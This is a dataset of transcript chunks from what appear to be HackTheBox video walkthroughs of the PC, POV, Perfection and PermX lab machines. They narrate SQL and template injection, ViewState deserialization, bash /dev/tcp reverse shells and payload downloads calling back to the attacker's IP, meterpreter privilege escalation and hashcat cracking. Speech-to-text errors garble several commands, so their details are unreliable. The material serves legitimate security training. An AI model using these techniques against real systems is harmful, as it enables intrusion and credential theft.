text
stringlengths
4
952
start
float64
0
9.37k
duration
float64
0
0
meta
dict
here so we want to hit um simple app.
632.279
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
register User it's going to complain username and password must be greater than four so I'm going to add- D and then we'll do username semicolon IPC and if I didn't put it in quotes it's going to error out because it wants it as strings and one of the things about grpc is it's very specific on the type so if we pass it...
637.72
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
be completely different than that um I'll make sure it errors when we do that so hopefully you understand it so now we have the account created for IPC so let's try registering so let's do or let's try logging in so we can now just do login user user and we get our ID is 659 so it's a bit odd it didn't really um give u...
701.76
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
called token so we can also add headers with DH just like in HTTP and say token and put a value there um I could have swore that would be how we do it see search header RPC header DH Name colon value maybe I put IPC and quotes so I'm pretty sure I gave it the token header it's probably just a invalid token and the erro...
769.92
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
request we did with the DH and I'm going to paste this value and it's still missing the token header let's see if I take the quotes off I don't think that's the correct thing to do here but let's try it um none type object is not subscriptable so it definitely wanted the quotes then it misses it let's see I'm going to ...
862.959
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
the message just says will update soon I don't know what will update soon it just says it will um so what I'm going to do is try putting a different number we do 452 and we get unknown so that's weird um if I do a single quote I broke my um input let's see how's the best way to do this if I put ID in double quotes and ...
975.16
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
SQL comment and then it just behaves the same so I think the select statement is probably like um let's say select authentication or I don't know session from sessions where ID is equal to 453 all I'm trying to say is they didn't put quotes around this because it's just a integer so you don't need to so that's why the ...
1,058.48
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
version because that is the SQL light Syntax for getting the version and we have message 3.31 do3 one so we know this is SQL light so we have to do some type of SQL light injection or dumping the tables right so I'm going to do select let's try SQL from is it master and SQL light uh let's see we may need group concat S...
1,133.679
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
functions that are specific to the L language so if it behaves this way you know it's going to be um this so like myql you could do any of these like user ID is equal to that's a weird one um but yeah these are just queries you can do to identify the framework or not framework the mySQL database version uh says payload...
1,225.84
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
can do um again a group concat what this is doing is taking multiple rows and making it just one line so we'll do username and then in SQL L if you want to pen something you do um two pipes we do password here from where's the table name accounts so this is the SQL command we are running um select the username colon pa...
1,314.96
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
here is your password 1431 was it 214 not 215 there we go so now I am logged in to the box so the first thing I always look at especially when I have the password is pseudo and we see SAU may not run pseudo on Local Host the next thing I TR to look at is just the running processes on the box to see if there's anything ...
1,398.4
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
prototo which is going to be a Proto buff thing so if I C it cat app.
1,441.76
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
prototo there's going to be all the um structures like the responses and everything so I'm first I'm going to look at like opt app and then we'll do das writable see if I can write to any of these things we could also like grap Das our system to see if there's any system calls uh opens another one in Python I think rig...
1,447.32
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
say- L and we can say 8,000 Local Host 8,000 so what that's going to do is make my box listen on Port 8,000 we can see it's not listening now I'm going to hit it and now I am listening we can see SSH owns that process so if I curl Local Host it's going to go through the SSH session and well I have to specify Port 8000 ...
1,509.279
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
rce so let's just copy this where is the copy button could have swore there used to be a copy Buton there I'll just copy it V py. piy paste it and we can say Python 3 pyload we want a URL so we'll do Local Host 800-c command uh let's do who am I uh no connections do have specify HTTP okay there we go so it is a blind c...
1,580.559
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
have a full path nope so it's probably going to be special characters so let's curl 10 10 148 90001 make sure we can okay Cur does work so let's just execute bash make D dubdub dub go in it V index.htm ml B B- C b-i Dev TCP 101048 90001 Z and one like that so now if I stand up my HTTP server on Port 80001 and we call L...
1,677.88
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
are root if we go to SL root we have root. text so that is going to be the box hope you guys enjoyed it take care and I will see you all next time
1,761.96
0
{ "video_id": "AQSLvalzW8g", "title": "HackTheBox - PC", "url": "https://www.youtube.com/watch?v=AQSLvalzW8g" }
what's going on YouTube this is ipag we're doing POV from hack the box which is a medium rated Windows machine that doesn't have any active directory but is a lot of fun it can be a little bit more challenging than intended if you just don't know some silly Windows quirks and I'll do my best to Showcase those in this v...
0.24
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
will always be disabled and it's I can't find a way to enable it again but if you use materer or um chisel and pivot with evil winm it works but with all that being said let's just jump in because make much more sense when we can show it off as always we're going to start off with an end map so- SCC for default scripts...
47.239
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
ports that are open if there are any but when end map just tells me one port I like looking at that first before I go digging other places so just going to pv. htb or 10101 11251 we get just a boilerplate website um and I don't see too much here one of this is like HTML or whatnot uh there is a contact us that has s fi...
97.56
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
so we can add this to our host file so 101 11251 Dev PV htb and let's just add pv.
158.28
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
htb for good measure and I'm going to just test uh pv. htb really quick to make sure it's the same site we expect it is so now let's take a look at what Dev is so Dev POV htb and we probably should run gobster or something in the background on po. htb to see if like we can get any in interesting information out of it u...
165.28
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
parameters so this is going to be ASX or.net um just because I see like View State and things like that and it does get the file cv.pdf and we have what looks like to be a resume so let's go um back real quick and I'm going to look at that request again I'm just going to send it over to um repeater and I thought it wou...
234.4
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
think we'd see this header um so we can include files off the server and whenever I try get a file disclosure on Windows I I always go for the web config directory because you may get a quick win there um so I want to go take a look at where I am if I go to portfolio CV PDF uh we get the file so I know I'm in this dire...
302.84
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
happening is it's removing this either it's going to remove like all um directory characters or it just has a replace on do slash and I'm going to test for the replace on do slash by adding another do and middle of it because when you do replace commands they're not recursive so they're not going to run over and over a...
375.319
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
see without them okay and we also have all the keys um there is a way in I to just have this autogenerate so the keys get generated every time the web server starts up and when it does that you won't have the this information in the config which means you won't be able to do the next step and that is use this to create...
444.84
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
Windows Quirk and CMD doesn't treat quotation marks as quotes it treats it as characters and when I was doing this box um I actually ran into and would scratch my head for quite a long time and eventually I asked xxxdf for help and we discovered it was my quotation mark that was causing an issue and we were just baffle...
500.759
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
slash and now we can say the decryption algorithm as the decryption key and we want to go back here and where is the decryption key we can copy and paste okay and then let's see after decryption key we need the validation algorithm and the example uses hmx sha one um if you look at the web config it's just sha one so I...
561.279
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
DNS uh- I ton Z icmp and then we can put the malicious view State here and when I send this we should see four pings come in because windows by default pings four times so now if we went all the way back and I change these quotation marks to be single quotes and then we copy and paste this it's not going to work and if...
634.72
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
could do this without a web cradle but I really like using web cradles just because you know the command exec if you just try to send the reverse shell straight um you don't know if it executed or not right so I'm going to make the dubdub duub directory then we go user share uh is it nchang Powershell or is it shells i...
714.04
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
avoid having on a web server but if antivirus picks it up you'll never know antivirus picked it up um the benefit to doing this way is antivirus won't flag on the web tradle it will flag after the web cradle so um yeah so I'm going to copy this command and then we're going to see if we get a reverse shell so I'm going ...
802.12
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
like that I don't really see anything we do see like winrm SMB and those things so there is definitely a firewall in Play Because edmap did not see these things um but nothing too interesting on the ports if I do who am I we are the S fits user so the web service is definitely running as as fits um let's see we could d...
875.44
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
there is no um key so we can't even explo that so we're at kind of a loss uh we could go in sfit is home directory right so since we're running as s fits see if we do a DI in desktop nothing there di on documents and we have a connection. XML so if we type documents uh connection. XML we have uh what looks to be a enco...
949.639
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
create the credential object so we'll do new object system management automation PS credential we give it the argument list and the username Oh shoot what was that used that this went to uh let's see was it type documents connection. XML maybe aladding a l a a d i n g and then the password which we called it PWD so now...
1,028.64
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
looking right oh computer name probably there we go so we can successfully run commands as a lading and we could also go and do a poell command so we do Powershell DC where was that um we can just do that icon command again uh I convert what do we call it cradle there we go run that shell we see it hit and we get a she...
1,141.44
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
privileges Powershell will bring us to a script that should do it uh go back that's not what I want enable privilege.
1,226.919
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
PS1 is this yeah this should do it I also tried a script called like enable all Privileges and it didn't work but we'll try this one so we'll do w you get on this then we can new object net. web client download string HTTP 101048 P 8000 enable rev.
1,246.6
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
PS1 we made the get so we should be able to just do enable privilege and then specify the privilege so I'll copy this and we'll replace that with backup or debug debug privilege and then who am I SL priv and it's still disabled it should be enabled here um and then if this is enabled if we had a good shell to the Box w...
1,278.44
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
to that and then I'm going to do run as CS to get a good shell and show the PSG system fails there but if we like logged in locally to the box and did it um it works there so it's an odd behavior that we'll go into so where were we we want to um get my interpeter so I'm going to do msf Venom DP windows x64 rur reverse ...
1,349.799
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
exe and while that's going we can do studo msfb run and this is going to initialize metas plate for us hopefully okay it is starting let's move mypet to dubdub and let's go to program data and let's see we can curl HTP 101048 p 88000 interpreter. ex- o interpreter.
1,392.159
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
exe I actually don't know if it's going to work when we're executing in this Powershell session um we'll see uh let's see use exploit multi Handler and then set lhost is equal to ton Zer set L Port 90002 set payload he will copy this and then run execute interpreter.
1,429.039
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
exe we should get a session and then we say get prives we do not have the debug and I think that's because we are in this Powershell session so we want to get out of there and I'm going to upload um run as CS because that's going to allow us to um run as a different user do I have it locate run as CS you can just copy ...
1,465.12
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
exe I'll put it there I don't know why it's not running do not download C 10 10 148 oh I didn't specify Port 8,000 okay so we should now be able to do run as Cs and then was it aladding we want creds a l a a ding okay and then let's just verify it works it does does where is reverse there's a way to just have it send a...
1,551.52
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
right so using run SCS to switch users makes it so we log in more interactively to the box which lets us do this SC debug thing right so all we have to do is get a list of processes on the box find one that's running as um system or administrator and then we can migrate to it so let's see what is a good one to do um VM...
1,681.84
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
want to show something that is also puzzling me if we do where was it uh it was the script this should also allow us to do it from Powershell but the shell we had for some reason just does not work so I'm going to WG we will run this I'm going to do Powershell and this is where I'm doing the um like run SCS thing right...
1,780.559
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
to the migrate so we can say 2336 and then what else is it um was it- command command CMD then is it CMD args would say power shell we'll just do a ping pseudo TCP dump dasi tons Z let's also do DN why getting pings no okay pinged oh I did not do icmp that's why let's seea cannot be found I did Dash Dash and that's not...
1,879.559
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
rm- aladding DP put in this password then Das I POV h TB we'll get the shell who Am i/ priv oddly enough from this evil win orm session even though uh we did inote command it did not have it evil winner M does have SC debug I'm going to copy and paste the things we did before so I'm going to copy this and then we will ...
2,029.08
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
shells because you may be surprised at the results right so we run this let's try it yep worked again now I wonder what if we did it from interpreter so let's go CD program data slash interpreter.
2,141.079
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
exe standing the stage how do I load Powershell I wonder if it's default now load Powershell interpreter it's like PWS H or something let's see starting Mater load power shell okay I never got my shell there it is I do not want that load power shell power shell shell okay where was that ex command and then we can run t...
2,174.359
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
Shell Shell import this I'm going run who am I just make sure we still have our shell and we're going to try this command again looking here no pings came back and we still don't have any so just a really weird behavior from this one script I guess um but the easiest way to do it is get interpreter so you can go and mi...
2,351.319
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
ways and that was the only way that command worked um it also works if you like remote desktop into the machine and run it from a console it just doesn't like a lot of reverse but evil winm is one of the reverse shells it likes which is mindboggling to me so with that being said take care all and I will see you all nex...
2,446.88
0
{ "video_id": "84xCsHvkxYE", "title": "HackTheBox - POV", "url": "https://www.youtube.com/watch?v=84xCsHvkxYE" }
what's going on YouTube this is ipeg I'm doing Perfection from hack to box which starts out with hacking a web application that calculates weighted grades the vulnerability here is like a ssti I don't know if it exactly is server side template injection but it behaves very much like one however the trick is there is so...
0.28
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
database and then use a custom rule in hashcat to Brute Force the password so with that being said let's just jump in as always I'm going to start off with an end map so- SCC for default scripts as V enumerate versions dvv double verose this gives us the TTL OA output all formats put in the end map directory and call i...
42.92
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
calculator um looking at it there's not that much information we see made by secure tools but the thing that really sticks out to me is web rck version 1.7.0 whenever I have something like this and it like discloses what it's made by I always go and look for exploits I'm going to check out exploit DB I know you can use...
93.799
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
these exploits a well before that so uh we could go Google looking for things maybe it's not on exploit DB but let's just go keep taking a look at the website right so we go to about us we have some names we have Tina Smith and Susan Miller but I don't see a login form so I can't really like start trying for default cr...
150.599
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
just going to replay this request so we don't waste 20 seconds typing it over again I'm going to send the request and I want to see where that error message is right so we have it right here I'm going to search the page for SL form go to the little gear icon order scroll when text changes so now we don't have to keep s...
209.4
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
ey template um injection the two double brackets we have malicious input blocked I don't even know if this works in Ruby I'm assuming this is a ruby because we saw powered by Weck 170 oh and there's the Ruby version 302 so that's disclosed in the header as well um going back our exploit DB's Clos but um we know there's...
265
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
category just put fuzz in all capitals and now we want to find a word list that is special characters uh Let's do fuzzing let's see is there a special I'm just going to grip d i special there we go so we have this special characters.
321.68
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
text okay uh I think I only copied the file name let's copy the entire path copy there we go awesome so now we can do fuff I'm going to say- request and we called it uh weighted request I'm going to specify the Proto is HTTP and then the word list I want to use is this SEC list one and we're going to send it and I'm gu...
345.479
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
where it's replaying the data right same with a plus that's just going to put oh the space did go through so space looks like it is a valid character uh we could try a slash and looks like slash is valid um if we wanted to we could y encode all this pretty easily um if we do Echo slash and then we pipe this over to JQ ...
415.879
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
think that's less than and then um the parthy it's going to run this command and then treat it as a file so this is a quick way to just um manipulate your files or do like encoders because I don't think fuff supports encoders W fuzz does but I don't think fuff does so we throw this and I'm going to get rid of the filte...
478.08
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
character but plus is not right so when the reg X was seeing it it did not like the plus um if we just send it without yur encoding it it's not really sending plus it's sending space so that's probably the discrepancy there so there is one thing that is hard to test um through burp just because if you like highlight yo...
554.279
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
why does this work I don't know exactly because we haven't looked at the code but it does um generally work when like there's a regular expression and the regular expression is not multi-line it's just going to look at the first line it passes it and then it moves on to the next one because they didn't specify like if ...
616.839
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
burp Suite is still in intercept nope it's not it's just taking its sweet time um I'm going to turn this off maybe my vm's actually going slow wow that is going real slow disable you can see something spiked here uh let's search for Ruby and then we have percent equals percent okay so let's go back to repeater and then...
671.44
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
not reading the output the um result of that command was true like the exit code if the file doesn't exist we get false uh we could try the other way they said it um let's just leave the cad Etsy PWD instead of doing system let's just do backck right like that and then we get the output the other thing it had was like ...
747.12
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
it took 2 seconds to load so let's now just get a reverse shell so I'm going to do let's actually make shell on a box and the reason why I'm doing it this way is um I can type and talk at the same time that'd be great we're in something that could have like a lot of bad characters so if I do it this way I can avoid all...
802.72
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
so let's upgrade a shell so I'm going to do python 3-c import PTY PTY spawn bin bash and then control Z stty RW minus Echo and then foreground hit enter twice and then we can export man I cannot type today uh term is equal to X term so we can clear the screen and now let's take a look at what we have and the first thin...
869.639
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
regular expression so this is matching A to Z lowercase uppercase 0 through 9 and a space and then matching as long as it starts with and ends with that string up until a line break so the percent z d that is a return character and I guess return is not part of this line break in Linux only back sln is right so that's ...
926.88
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
than 10% equals um it's executing so I don't know if this is technically ssti or not um maybe it is maybe er. new is like for templates and things like that but that's why I get code execution because you can think of this as eval I guess so let's see what do we have here um if we look at our user we can see we are a m...
988.72
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
text we have this migration thing I C let's actually do um SQL light do we have it yep pupil. dump and then we have a bunch of hashes Let's see we can do Echo dasn wc- C we have 64 characters is that like a sha one sum Echo test sha one uh let's do a rant one so we only grab the first character that's probably too smal...
1,019.48
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
files we can't open and let's see we have a lot of things in own I'm going to hide everything in proc because I don't care about proc uh forgot the dash V so let's see we have home Susan and that is about it so we just have things in um the home let's take a look at the group so we'll do group Susan and let's see we ha...
1,090.559
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
you could do uh let's see like this so I don't know how it's formatted um I'm going to guess it's form of 10 digits but I'm not positive so we have to go over or first we have to extract all the um credentials out of this Pupil Path database and then we can go over to the Kraken and try cracking it um so let's do that ...
1,176.039
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
110 stty rows 28 call 110 um it calls there we go so now if I did that SQL light command again um we can do select name password from was it users yep there we go so fixing the TTY just means I can go all the way left and right so it just behaves a bit better now for hashcat hashcat when you specify usernames does like...
1,233.6
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
actually going to use a um Attack Mode here and we normally don't use attack modes in haat because we're just cracking off a dictionary we want to manipulate something thing so we got the modes uh we got the straight this is the one we normally use but I'm going to use the Brute Force you could also use like the wordle...
1,309
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
a underscore right so this is how I was playing around with rules so I could get that working and then f is reflect the word backwards but every time I did that I had this underscore here and I couldn't figure out for the life of me how I can reflect the word and delete a character right the uh bracket is delete the fi...
1,365.24
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
it indicates it's in hashcat Legacy not the new one so I couldn't like memorize a word then replay it maybe someone in the comments can help me but I just couldn't figured out how I could get it in the format I wanted to with just a rule file so I resorted to The Brute Force because we can specify um characters here ri...
1,422.52
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
running and let's see how long does it expect to take oh it's already done so we got covered one out of one that was like near instant um I think if we switch to attac mode six for some reason it goes a lot slower so we see that took 15 seconds on my computer I can do uh let's try going to attack mode six so we'll call...
1,491.76
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
six um so we got that combinator dict file so if we did this correctly Let's see we should be able to do um mode six like that and then we specify like this right uh we want to remove the pot file ashat pot file there we go so we'll see how long this takes I don't think it's going to take just 15 seconds I don't know w...
1,564.279
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
eight % of the way through so I'm going to kill this I'm going to look at the speed we're at uh 274,000 hashes a second on one GPU with the combinator mode we're going to run what we did before with um let's see what is it this right here and see what speed this goes so 274,000 hashes a second we'll see how quick this ...
1,647.679
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
we uh duplicated this a bunch if it goes any quicker probably not because it's probably going to use the same number each time but it may use more gpus um we got to move that pot file again let's see how quick is this so at least we're oh we still only just use one g GPU so that does not speed it up any so yeah if you ...
1,711.64
0
{ "video_id": "zcVCLoMsOKA", "title": "HackTheBox - Perfection", "url": "https://www.youtube.com/watch?v=zcVCLoMsOKA" }
what's going on YouTube this is ipag we doing perm X from hack the box which essentially is just three steps the first of which is discovering the LMS subdomain which contains software called Camilo and this is an open source training platform if you search for exploits there's an unauthenticated file upload vulnerabil...
0.28
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
an idea of what version of an open source application is running on a website so with that being said let's just jump in as always we're going to start off with an end map so- SCC for default scripts SV numerate versions DV V for double Bo this gives us things like the TTL OA output off formats put in the end map direc...
48.48
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
we can navigate to it by the web browser and going to the page it just has um an e-learning page and if we click around we see almost everything redirects us back to the homepage so it doesn't look like this page is fully functional yet if I click about we go to about.
102.72
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
HTML and we just get some basic information there's nothing really um intriguing here the main thing I'm looking for is some type of way to like log in or tell us what the site's built off of right now this just looks like a completely static web page that doesn't really have that much content on it right if we do like...
121.68
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
want to fuzz the header specifically the host one because this is going to be what uses for virtual host then fuzz it's important you do this in all caps if you don't then it's not going to work we can show what that looks like real quick so we can do just fuzz. px. htb and the word list of op secc list Discovery DNS u...
173
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
htb and let's see that I was expecting the header that we redirected there we go right here it's redirecting pieces of the domain back to us in the response so that is why the size just changes right so we can't filter on size we could filter on Words lines or status code you can also do the- AC for auto calibrate that...
235.92
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
do http LMS permx htb and noticing right at the top we have a title change in the page looks completely different so we're running Camilo if we do like index.php we confirm this is a PHP website if we do HTML it's going to error yes it does so we could just go straight for Googling for exploits and if you're a beginner...
298.4
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
every single file in its history right we could just curl like readme.md so if I curl um let's do 10 10 11 oh no we want to do LMS perx hdb readme.md let's just close that window clear things up we can get the readme file right and this is going to tell us we're on version 1.11 X so going to the GitHub um let's see the...
355.16
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
similar to requirements. text in Python it's just going to list all the dependencies so composer can go autoinstall it so application works so let's go see if we have composer.
419.8
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
Json and we do so I'm going to save this so we'll just save it to composer. Json and now we want to clone this repository to our box so we can go pull the MD fies for every single composer. Json file so I'm going to do a get clone on this and the repository is actually relatively big so I'm going to pause the video we'...
432.479
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
get log word count for lines we see 332,000 with specifying just this we only have about 2500 right and I don't think you need those two dashes no we don't the reason why I put it is because it just tells the program uh don't treat anything after these as arguments so it's just like um raw input for file names it's pro...
486.599
0
{ "video_id": "2TqmHL4pcUo", "title": "HackTheBox - PermX", "url": "https://www.youtube.com/watch?v=2TqmHL4pcUo" }
